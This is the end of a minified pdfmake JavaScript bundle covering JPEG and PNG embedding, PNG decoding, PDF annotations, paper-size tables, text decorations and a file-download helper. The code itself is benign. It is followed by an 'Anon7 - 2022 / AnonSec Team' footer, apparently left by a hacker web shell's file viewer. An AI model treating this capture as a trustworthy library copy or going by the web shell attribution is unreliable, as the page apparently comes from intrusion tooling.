                    if (this.data = t, this.label = n, 65496 !== this.data.readUInt16BE(0)) throw"SOI not found in JPEG";
                    for (a = 2; a < this.data.length && (o = this.data.readUInt16BE(a), a += 2, !(r.call(e, o) >= 0));) a += this.data.readUInt16BE(a);
                    if (r.call(e, o) < 0) throw"Invalid JPEG.";
                    a += 2, this.bits = this.data[a++], this.height = this.data.readUInt16BE(a), a += 2, this.width = this.data.readUInt16BE(a), a += 2, i = this.data[a++], this.colorSpace = function () {
                        switch (i) {
                            case 1:
                                return "DeviceGray";
                            case 3:
                                return "DeviceRGB";
                            case 4:
                                return "DeviceCMYK"
                        }
                    }(), this.obj = null
                }

                var e;
                return e = [65472, 65473, 65474, 65475, 65477, 65478, 65479, 65480, 65481, 65482, 65483, 65484, 65485, 65486, 65487], t.prototype.embed = function (t) {
                    if (!this.obj) return this.obj = t.ref({
                        Type: "XObject",
                        Subtype: "Image",
                        BitsPerComponent: this.bits,
                        Width: this.width,
                        Height: this.height,
                        ColorSpace: this.colorSpace,
                        Filter: "DCTDecode"
                    }), "DeviceCMYK" === this.colorSpace && (this.obj.data.Decode = [1, 0, 1, 0, 1, 0, 1, 0]), this.obj.end(this.data), this.data = null
                }, t
            }(), t.exports = e
        }).call(this)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i, o;
                o = n(56), r = n(294), i = function () {
                    function t(t, e) {
                        this.label = e, this.image = new r(t), this.width = this.image.width, this.height = this.image.height, this.imgData = this.image.imgData, this.obj = null
                    }

                    return t.prototype.embed = function (t) {
                        var n, r, i, o, a, s, u, c;
                        if (this.document = t, !this.obj) {
                            if (this.obj = this.document.ref({
                                    Type: "XObject",
                                    Subtype: "Image",
                                    BitsPerComponent: this.image.bits,
                                    Width: this.width,
                                    Height: this.height,
                                    Filter: "FlateDecode"
                                }), this.image.hasAlphaChannel || (a = this.document.ref({
                                    Predictor: 15,
                                    Colors: this.image.colors,
                                    BitsPerComponent: this.image.bits,
                                    Columns: this.width
                                }), this.obj.data.DecodeParms = a, a.end()), 0 === this.image.palette.length ? this.obj.data.ColorSpace = this.image.colorSpace : (o = this.document.ref(), o.end(new e(this.image.palette)), this.obj.data.ColorSpace = ["Indexed", "DeviceRGB", this.image.palette.length / 3 - 1, o]), this.image.transparency.grayscale) return u = this.image.transparency.greyscale, this.obj.data.Mask = [u, u];
                            if (this.image.transparency.rgb) {
                                for (s = this.image.transparency.rgb, i = [], n = 0, r = s.length; n < r; n++) c = s[n], i.push(c, c);
                                return this.obj.data.Mask = i
                            }
                            return this.image.transparency.indexed ? this.loadIndexedAlphaChannel() : this.image.hasAlphaChannel ? this.splitAlphaChannel() : this.finalize()
                        }
                    }, t.prototype.finalize = function () {
                        var t;
                        return this.alphaChannel && (t = this.document.ref({
                            Type: "XObject",
                            Subtype: "Image",
                            Height: this.height,
                            Width: this.width,
                            BitsPerComponent: 8,
                            Filter: "FlateDecode",
                            ColorSpace: "DeviceGray",
                            Decode: [0, 1]
                        }), t.end(this.alphaChannel), this.obj.data.SMask = t), this.obj.end(this.imgData), this.image = null, this.imgData = null
                    }, t.prototype.splitAlphaChannel = function () {
                        return this.image.decodePixels(function (t) {
                            return function (n) {
                                var r, i, a, s, u, c, l, f, h;
                                for (a = t.image.colors * t.image.bits / 8, h = t.width * t.height, c = new e(h * a), i = new e(h), u = f = r = 0, l = n.length; u < l;) c[f++] = n[u++], c[f++] = n[u++], c[f++] = n[u++], i[r++] = n[u++];
                                return s = 0, o.deflate(c, function (e, n) {
                                    if (t.imgData = n, e) throw e;
                                    if (2 == ++s) return t.finalize()
                                }), o.deflate(i, function (e, n) {
                                    if (t.alphaChannel = n, e) throw e;
                                    if (2 == ++s) return t.finalize()
                                })
                            }
                        }(this))
                    }, t.prototype.loadIndexedAlphaChannel = function (t) {
                        var n;
                        return n = this.image.transparency.indexed, this.image.decodePixels(function (t) {
                            return function (r) {
                                var i, a, s, u, c;
                                for (i = new e(t.width * t.height), a = 0, s = u = 0, c = r.length; u < c; s = u += 1) i[a++] = n[r[s]];
                                return o.deflate(i, function (e, n) {
                                    if (t.alphaChannel = n, e) throw e;
                                    return t.finalize()
                                })
                            }
                        }(this))
                    }, t
                }(), t.exports = i
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i;
                r = n(53), i = n(56), t.exports = function () {
                    function t(t) {
                        var n, r, i, o, a, s, u, c, l, f;
                        for (this.data = t, this.pos = 8, this.palette = [], this.imgData = [], this.transparency = {}, this.text = {}; ;) {
                            switch (n = this.readUInt32(), function () {
                                var t, e;
                                for (e = [], i = t = 0; t < 4; i = ++t) e.push(String.fromCharCode(this.data[this.pos++]));
                                return e
                            }.call(this).join("")) {
                                case"IHDR":
                                    this.width = this.readUInt32(), this.height = this.readUInt32(), this.bits = this.data[this.pos++], this.colorType = this.data[this.pos++], this.compressionMethod = this.data[this.pos++], this.filterMethod = this.data[this.pos++], this.interlaceMethod = this.data[this.pos++];
                                    break;
                                case"PLTE":
                                    this.palette = this.read(n);
                                    break;
                                case"IDAT":
                                    for (i = c = 0; c < n; i = c += 1) this.imgData.push(this.data[this.pos++]);
                                    break;
                                case"tRNS":
                                    switch (this.transparency = {}, this.colorType) {
                                        case 3:
                                            if (this.transparency.indexed = this.read(n), (s = 255 - this.transparency.indexed.length) > 0) for (i = l = 0; 0 <= s ? l < s : l > s; i = 0 <= s ? ++l : --l) this.transparency.indexed.push(255);
                                            break;
                                        case 0:
                                            this.transparency.grayscale = this.read(n)[0];
                                            break;
                                        case 2:
                                            this.transparency.rgb = this.read(n)
                                    }
                                    break;
                                case"tEXt":
                                    u = this.read(n), o = u.indexOf(0), a = String.fromCharCode.apply(String, u.slice(0, o)), this.text[a] = String.fromCharCode.apply(String, u.slice(o + 1));
                                    break;
                                case"IEND":
                                    return this.colors = function () {
                                        switch (this.colorType) {
                                            case 0:
                                            case 3:
                                            case 4:
                                                return 1;
                                            case 2:
                                            case 6:
                                                return 3
                                        }
                                    }.call(this), this.hasAlphaChannel = 4 === (f = this.colorType) || 6 === f, r = this.colors + (this.hasAlphaChannel ? 1 : 0), this.pixelBitlength = this.bits * r, this.colorSpace = function () {
                                        switch (this.colors) {
                                            case 1:
                                                return "DeviceGray";
                                            case 3:
                                                return "DeviceRGB"
                                        }
                                    }.call(this), void(this.imgData = new e(this.imgData));
                                default:
                                    this.pos += n
                            }
                            if (this.pos += 4, this.pos > this.data.length) throw new Error("Incomplete or corrupt PNG file")
                        }
                    }

                    return t.decode = function (e, n) {
                        return r.readFile(e, function (e, r) {
                            var i;
                            return i = new t(r), i.decode(function (t) {
                                return n(t)
                            })
                        })
                    }, t.load = function (e) {
                        var n;
                        return n = r.readFileSync(e), new t(n)
                    }, t.prototype.read = function (t) {
                        var e, n;
                        for (n = [], e = 0; 0 <= t ? e < t : e > t; 0 <= t ? ++e : --e) n.push(this.data[this.pos++]);
                        return n
                    }, t.prototype.readUInt32 = function () {
                        var t, e, n, r;
                        return t = this.data[this.pos++] << 24, e = this.data[this.pos++] << 16, n = this.data[this.pos++] << 8, r = this.data[this.pos++], t | e | n | r
                    }, t.prototype.readUInt16 = function () {
                        var t, e;
                        return t = this.data[this.pos++] << 8, e = this.data[this.pos++], t | e
                    }, t.prototype.decodePixels = function (t) {
                        var n = this;
                        return i.inflate(this.imgData, function (r, i) {
                            var o, a, s, u, c, l, f, h, p, d, g, v, y, m, b, w, x, S, k, _, C, A, E;
                            if (r) throw r;
                            for (v = n.pixelBitlength / 8, w = v * n.width, y = new e(w * n.height), l = i.length, b = 0, m = 0, a = 0; m < l;) {
                                switch (i[m++]) {
                                    case 0:
                                        for (u = k = 0; k < w; u = k += 1) y[a++] = i[m++];
                                        break;
                                    case 1:
                                        for (u = _ = 0; _ < w; u = _ += 1) o = i[m++], c = u < v ? 0 : y[a - v], y[a++] = (o + c) % 256;
                                        break;
                                    case 2:
                                        for (u = C = 0; C < w; u = C += 1) o = i[m++], s = (u - u % v) / v, x = b && y[(b - 1) * w + s * v + u % v], y[a++] = (x + o) % 256;
                                        break;
                                    case 3:
                                        for (u = A = 0; A < w; u = A += 1) o = i[m++], s = (u - u % v) / v, c = u < v ? 0 : y[a - v], x = b && y[(b - 1) * w + s * v + u % v], y[a++] = (o + Math.floor((c + x) / 2)) % 256;
                                        break;
                                    case 4:
                                        for (u = E = 0; E < w; u = E += 1) o = i[m++], s = (u - u % v) / v, c = u < v ? 0 : y[a - v], 0 === b ? x = S = 0 : (x = y[(b - 1) * w + s * v + u % v], S = s && y[(b - 1) * w + (s - 1) * v + u % v]), f = c + x - S, h = Math.abs(f - c), d = Math.abs(f - x), g = Math.abs(f - S), p = h <= d && h <= g ? c : d <= g ? x : S, y[a++] = (o + p) % 256;
                                        break;
                                    default:
                                        throw new Error("Invalid filter algorithm: " + i[m - 1])
                                }
                                b++
                            }
                            return t(y)
                        })
                    }, t.prototype.decodePalette = function () {
                        var t, n, r, i, o, a, s, u, c;
                        for (r = this.palette, a = this.transparency.indexed || [], o = new e(a.length + r.length), i = 0, r.length, t = 0, n = s = 0, u = r.length; s < u; n = s += 3) o[i++] = r[n], o[i++] = r[n + 1], o[i++] = r[n + 2], o[i++] = null != (c = a[t++]) ? c : 255;
                        return o
                    }, t.prototype.copyToImageData = function (t, e) {
                        var n, r, i, o, a, s, u, c, l, f, h;
                        if (r = this.colors, l = null, n = this.hasAlphaChannel, this.palette.length && (l = null != (h = this._decodedPalette) ? h : this._decodedPalette = this.decodePalette(), r = 4, n = !0), i = (null != t ? t.data : void 0) || t, c = i.length, a = l || e, o = s = 0, 1 === r) for (; o < c;) u = l ? 4 * e[o / 4] : s, f = a[u++], i[o++] = f, i[o++] = f, i[o++] = f, i[o++] = n ? a[u++] : 255, s = u; else for (; o < c;) u = l ? 4 * e[o / 4] : s, i[o++] = a[u++], i[o++] = a[u++], i[o++] = a[u++], i[o++] = n ? a[u++] : 255, s = u
                    }, t.prototype.decode = function (t) {
                        var n, r = this;
                        return n = new e(this.width * this.height * 4), this.decodePixels(function (e) {
                            return r.copyToImageData(n, e), t(n)
                        })
                    }, t
                }()
            }).call(this)
        }).call(e, n(2).Buffer)
    }, function (t, e) {
        (function () {
            t.exports = {
                annotate: function (t, e, n, r, i) {
                    var o, a, s;
                    i.Type = "Annot", i.Rect = this._convertRect(t, e, n, r), i.Border = [0, 0, 0], "Link" !== i.Subtype && null == i.C && (i.C = this._normalizeColor(i.color || [0, 0, 0])), delete i.color, "string" == typeof i.Dest && (i.Dest = new String(i.Dest));
                    for (o in i) s = i[o], i[o[0].toUpperCase() + o.slice(1)] = s;
                    return a = this.ref(i), this.page.annotations.push(a), a.end(), this
                }, note: function (t, e, n, r, i, o) {
                    return null == o && (o = {}), o.Subtype = "Text", o.Contents = new String(i), o.Name = "Comment", null == o.color && (o.color = [243, 223, 92]), this.annotate(t, e, n, r, o)
                }, link: function (t, e, n, r, i, o) {
                    return null == o && (o = {}), o.Subtype = "Link", o.A = this.ref({S: "URI", URI: new String(i)}), o.A.end(), this.annotate(t, e, n, r, o)
                }, _markup: function (t, e, n, r, i) {
                    var o, a, s, u, c;
                    return null == i && (i = {}), o = this._convertRect(t, e, n, r), a = o[0], u = o[1], s = o[2], c = o[3], i.QuadPoints = [a, c, s, c, a, u, s, u], i.Contents = new String, this.annotate(t, e, n, r, i)
                }, highlight: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "Highlight", null == i.color && (i.color = [241, 238, 148]), this._markup(t, e, n, r, i)
                }, underline: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "Underline", this._markup(t, e, n, r, i)
                }, strike: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "StrikeOut", this._markup(t, e, n, r, i)
                }, lineAnnotation: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "Line", i.Contents = new String, i.L = [t, this.page.height - e, n, this.page.height - r], this.annotate(t, e, n, r, i)
                }, rectAnnotation: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "Square", i.Contents = new String, this.annotate(t, e, n, r, i)
                }, ellipseAnnotation: function (t, e, n, r, i) {
                    return null == i && (i = {}), i.Subtype = "Circle", i.Contents = new String, this.annotate(t, e, n, r, i)
                }, textAnnotation: function (t, e, n, r, i, o) {
                    return null == o && (o = {}), o.Subtype = "FreeText", o.Contents = new String(i), o.DA = new String, this.annotate(t, e, n, r, o)
                }, _convertRect: function (t, e, n, r) {
                    var i, o, a, s, u, c, l, f, h;
                    return h = e, e += r, f = t + n, l = this._ctm, i = l[0], o = l[1], a = l[2], s = l[3], u = l[4], c = l[5], t = i * t + a * e + u, e = o * t + s * e + c, f = i * f + a * h + u, h = o * f + s * h + c, [t, e, f, h]
                }
            }
        }).call(this)
    }, function (t, e) {
        "use strict";
        t.exports = {
            "4A0": [4767.87, 6740.79],
            "2A0": [3370.39, 4767.87],
            A0: [2383.94, 3370.39],
            A1: [1683.78, 2383.94],
            A2: [1190.55, 1683.78],
            A3: [841.89, 1190.55],
            A4: [595.28, 841.89],
            A5: [419.53, 595.28],
            A6: [297.64, 419.53],
            A7: [209.76, 297.64],
            A8: [147.4, 209.76],
            A9: [104.88, 147.4],
            A10: [73.7, 104.88],
            B0: [2834.65, 4008.19],
            B1: [2004.09, 2834.65],
            B2: [1417.32, 2004.09],
            B3: [1000.63, 1417.32],
            B4: [708.66, 1000.63],
            B5: [498.9, 708.66],
            B6: [354.33, 498.9],
            B7: [249.45, 354.33],
            B8: [175.75, 249.45],
            B9: [124.72, 175.75],
            B10: [87.87, 124.72],
            C0: [2599.37, 3676.54],
            C1: [1836.85, 2599.37],
            C2: [1298.27, 1836.85],
            C3: [918.43, 1298.27],
            C4: [649.13, 918.43],
            C5: [459.21, 649.13],
            C6: [323.15, 459.21],
            C7: [229.61, 323.15],
            C8: [161.57, 229.61],
            C9: [113.39, 161.57],
            C10: [79.37, 113.39],
            RA0: [2437.8, 3458.27],
            RA1: [1729.13, 2437.8],
            RA2: [1218.9, 1729.13],
            RA3: [864.57, 1218.9],
            RA4: [609.45, 864.57],
            SRA0: [2551.18, 3628.35],
            SRA1: [1814.17, 2551.18],
            SRA2: [1275.59, 1814.17],
            SRA3: [907.09, 1275.59],
            SRA4: [637.8, 907.09],
            EXECUTIVE: [521.86, 756],
            FOLIO: [612, 936],
            LEGAL: [612, 1008],
            LETTER: [612, 792],
            TABLOID: [792, 1224]
        }
    }, function (t, e, n) {
        (function (e) {
            "use strict";

            function r(t, e) {
                this.pdfKitDoc = t, this.imageDictionary = e || {}
            }

            var i = n(290);
            r.prototype.measureImage = function (t) {
                var n, r, o = this;
                if (this.pdfKitDoc._imageRegistry[t]) n = this.pdfKitDoc._imageRegistry[t]; else {
                    r = "I" + ++this.pdfKitDoc._imageCount;
                    try {
                        n = i.open(function (t) {
                            var n = o.imageDictionary[t];
                            if (!n) return t;
                            var r = n.indexOf("base64,");
                            return r < 0 ? o.imageDictionary[t] : new e(n.substring(r + 7), "base64")
                        }(t), r)
                    } catch (t) {
                        n = null
                    }
                    if (null === n || void 0 === n) throw"invalid image, images dictionary should contain dataURL entries (or local file paths in node.js)";
                    n.embed(this.pdfKitDoc), this.pdfKitDoc._imageRegistry[t] = n
                }
                return {width: n.width, height: n.height}
            }, t.exports = r
        }).call(e, n(2).Buffer)
    }, function (t, e) {
        "use strict";

        function n(t) {
            for (var e = [], n = null, r = 0, i = t.inlines.length; r < i; r++) {
                var o = t.inlines[r], a = o.decoration;
                if (a) {
                    var s = o.decorationColor || o.color || "black", u = o.decorationStyle || "solid";
                    a     = Array.isArray(a) ? a : [a];
                    for (var c = 0, l = a.length; c < l; c++) {
                        var f = a[c];
                        n && f === n.decoration && u === n.decorationStyle && s === n.decorationColor && "lineThrough" !== f ? n.inlines.push(o) : (n = {
                            line: t,
                            decoration: f,
                            decorationColor: s,
                            decorationStyle: u,
                            inlines: [o]
                        }, e.push(n))
                    }
                } else n = null
            }
            return e
        }

        function r(t, e, n, r) {
            var i  = t.inlines[0], o = function () {
                for (var e = 0, n = 0, r = t.inlines.length; n < r; n++) {
                    e = t.inlines[n].fontSize > e ? n : e
                }
                return t.inlines[e]
            }(), a = function () {
                for (var e = 0, n = 0, r = t.inlines.length; n < r; n++) e += t.inlines[n].width;
                return e
            }(), s = t.line.getAscenderHeight(), u = o.font.ascender / 1e3 * o.fontSize, c = o.height, l = c - u, f = .5 + .12 * Math.floor(Math.max(o.fontSize - 8, 0) / 2);
            switch (t.decoration) {
                case"underline":
                    n += s + .45 * l;
                    break;
                case"overline":
                    n += s - .85 * u;
                    break;
                case"lineThrough":
                    n += s - .25 * u;
                    break;
                default:
                    throw"Unkown decoration : " + t.decoration
            }
            if (r.save(), "double" === t.decorationStyle) {
                var h = Math.max(.5, 2 * f);
                r.fillColor(t.decorationColor).rect(e + i.x, n - f / 2, a, f / 2).fill().rect(e + i.x, n + h - f / 2, a, f / 2).fill()
            } else if ("dashed" === t.decorationStyle) {
                var p = Math.ceil(a / 6.8), d = e + i.x;
                r.rect(d, n, a, f).clip(), r.fillColor(t.decorationColor);
                for (var g = 0; g < p; g++) r.rect(d, n - f / 2, 3.96, f).fill(), d += 6.8
            } else if ("dotted" === t.decorationStyle) {
                var v = Math.ceil(a / (3 * f)), y = e + i.x;
                r.rect(y, n, a, f).clip(), r.fillColor(t.decorationColor);
                for (var m = 0; m < v; m++) r.rect(y, n - f / 2, f, f).fill(), y += 3 * f
            } else if ("wavy" === t.decorationStyle) {
                var b = Math.ceil(a / 1.4) + 1, w = e + i.x - 1;
                r.rect(e + i.x, n - 1, a, n + 1).clip(), r.lineWidth(.24), r.moveTo(w, n);
                for (var x = 0; x < b; x++) r.bezierCurveTo(w + .7, n - 1, w + 1.4, n - 1, w + .7 * 3, n).bezierCurveTo(w + 2.8, n + 1, w + 3.5, n + 1, w + .7 * 6, n), w += .7 * 6;
                r.stroke(t.decorationColor)
            } else r.fillColor(t.decorationColor).rect(e + i.x, n - f / 2, a, f).fill();
            r.restore()
        }

        function i(t, e, i, o) {
            for (var a = n(t), s = 0, u = a.length; s < u; s++) r(a[s], e, i, o)
        }

        function o(t, e, n, r) {
            for (var i = t.getHeight(), o = 0, a = t.inlines.length; o < a; o++) {
                var s = t.inlines[o];
                s.background && r.fillColor(s.background).rect(e + s.x, n, s.width, i).fill()
            }
        }

        t.exports = {drawBackground: o, drawDecorations: i}
    }, function (t, e, n) {
        var r, i = i || function (t) {
            "use strict";
            if (!(void 0 === t || "undefined" != typeof navigator && /MSIE [1-9]\./.test(navigator.userAgent))) {
                var e = t.document, n = function () {
                    return t.URL || t.webkitURL || t
                }, r  = e.createElementNS("http://www.w3.org/1999/xhtml", "a"), i = "download" in r, o = function (t) {
                    var e = new MouseEvent("click");
                    t.dispatchEvent(e)
                }, a  = /constructor/i.test(t.HTMLElement) || t.safari, s = /CriOS\/[\d]+/.test(navigator.userAgent), u = function (e) {
                    (t.setImmediate || t.setTimeout)(function () {
                        throw e
                    }, 0)
                }, c  = function (t) {
                    var e = function () {
                        "string" == typeof t ? n().revokeObjectURL(t) : t.remove()
                    };
                    setTimeout(e, 4e4)
                }, l  = function (t, e, n) {
                    e = [].concat(e);
                    for (var r = e.length; r--;) {
                        var i = t["on" + e[r]];
                        if ("function" == typeof i) try {
                            i.call(t, n || t)
                        } catch (t) {
                            u(t)
                        }
                    }
                }, f  = function (t) {
                    return /^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(t.type) ? new Blob([String.fromCharCode(65279), t], {type: t.type}) : t
                }, h  = function (e, u, h) {
                    h || (e = f(e));
                    var p, d = this, g = e.type, v = "application/octet-stream" === g, y = function () {
                        l(d, "writestart progress write writeend".split(" "))
                    };
                    if (d.readyState = d.INIT, i) return p = n().createObjectURL(e), void setTimeout(function () {
                        r.href = p, r.download = u, o(r), y(), c(p), d.readyState = d.DONE
                    });
                    !function () {
                        if ((s || v && a) && t.FileReader) {
                            var r = new FileReader;
                            return r.onloadend = function () {
                                var e = s ? r.result : r.result.replace(/^data:[^;]*;/, "data:attachment/file;");
                                t.open(e, "_blank") || (t.location.href = e), e = void 0, d.readyState = d.DONE, y()
                            }, r.readAsDataURL(e), void(d.readyState = d.INIT)
                        }
                        if (p || (p = n().createObjectURL(e)), v) t.location.href = p; else {
                            t.open(p, "_blank") || (t.location.href = p)
                        }
                        d.readyState = d.DONE, y(), c(p)
                    }()
                }, p  = h.prototype, d = function (t, e, n) {
                    return new h(t, e || t.name || "download", n)
                };
                return "undefined" != typeof navigator && navigator.msSaveOrOpenBlob ? function (t, e, n) {
                    return e = e || t.name || "download", n || (t = f(t)), navigator.msSaveOrOpenBlob(t, e)
                } : (p.abort = function () {
                }, p.readyState = p.INIT = 0, p.WRITING = 1, p.DONE = 2, p.error = p.onwritestart = p.onprogress = p.onwrite = p.onabort = p.onerror = p.onwriteend = null, d)
            }
        }("undefined" != typeof self && self || "undefined" != typeof window && window || this.content);
        void 0 !== t && t.exports ? t.exports.saveAs = i : null !== n(300) && null !== n(301) && void 0 !== (r = function () {
            return i
        }.call(e, n, e, t)) && (t.exports = r)
    }, function (t, e) {
        t.exports = function () {
            throw new Error("define cannot be used indirect")
        }
    }, function (t, e) {
        (function (e) {
            t.exports = e
        }).call(e, {})
    }])
});
//# sourceMappingURL=pdfmake.min.js.map

Anon7 - 2022
AnonSec Team